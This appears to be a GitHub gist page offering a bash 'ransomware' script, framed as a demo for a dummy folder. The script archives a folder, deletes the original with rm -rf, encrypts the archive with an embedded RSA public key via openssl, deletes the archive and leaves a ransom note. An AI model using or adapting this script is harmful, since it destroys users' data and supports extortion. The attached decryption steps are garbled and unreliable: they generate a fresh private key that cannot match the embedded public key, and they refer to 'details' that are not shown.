Last active
June 13, 2022 14:23
-
-
Save uzair004/ccb3bca85ed469a0ae82463a2a557e91 to your computer and use it in GitHub Desktop.
Bash Ransomeware Script
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
cd /Users/<YourPCUserGoesHere>/Downloads | |
echo "-----BEGIN PUBLIC KEY----- | |
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArtg7hyD6v1o/THawDHld | |
PXoJ94bWqNmJ2c1C0VCE12XvjW4DhqVovsCwUsK+ESs9EV+XQ4iSoitg8XVohJUO | |
IA7VxvtzkcnJNZZBhm/jGrI3HS90OVINg/L+TckjtN5pMo/76D9TCxPfdAPXcT9f | |
p9BlGRBQnWEKPVFY+ZMp48yH2rhWpPjgst/Enj9cDPZ8RX1CRyzYzpREpkJSjbpM | |
wHKsQTeyauBouU3b1UZHhWirp+iS/aUwUJwOAild2rxho0Njx19Kwib/yvhLH6La | |
6RhZwVkNYzeUEHm92edORAjmb/uNAeI5wzYRF73OaNseBY1rL7K8mdcoSGcCalLK | |
YwIDAQAB | |
-----END PUBLIC KEY-----" > key.pem | |
tar -czf folder-to-encrypt.tar.gz folder-to-encrypt | |
rm -rf folder-to-encrypt | |
openssl rsautl -encrypt -inkey key.pem -pubin -in folder-to-encrypt.tar.gz -out folder-to-encrypt.enc | |
rm -rf folder-to-encrypt.tar.gz | |
echo "You've been hacked! Gimme all the moneyz" > note.txt |
path of folder should be updated first, you can get this gist & replace path with a dummy folder in your system. i.e create a folder-to-encrypt in downloads folder & make sure enter your PC name in above script
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
If you have encrypted your folder using the above script, here is how to decrypt it.
Create a Private key
in above script we have a public key inserted, to create its private counter-part, which is used to decrypt the folder. (public key is used to encrypt the folder)
openssl genrsa -aes256 -out private.pem
nodejs-ransomeware
.openssl rsautl -decrypt -inkey private.pem -in /Users/<your-username>/Desktop/folder-to-encrypt.enc > /Users/<your-username>/Desktop/folder-to-encrypt.tar.gz
You should be able to access your folder now, decompress that folder & good to go.
OR
or you can skip the first two-step by,
create a file
private.pem
paste all these details
save file & run command in step 3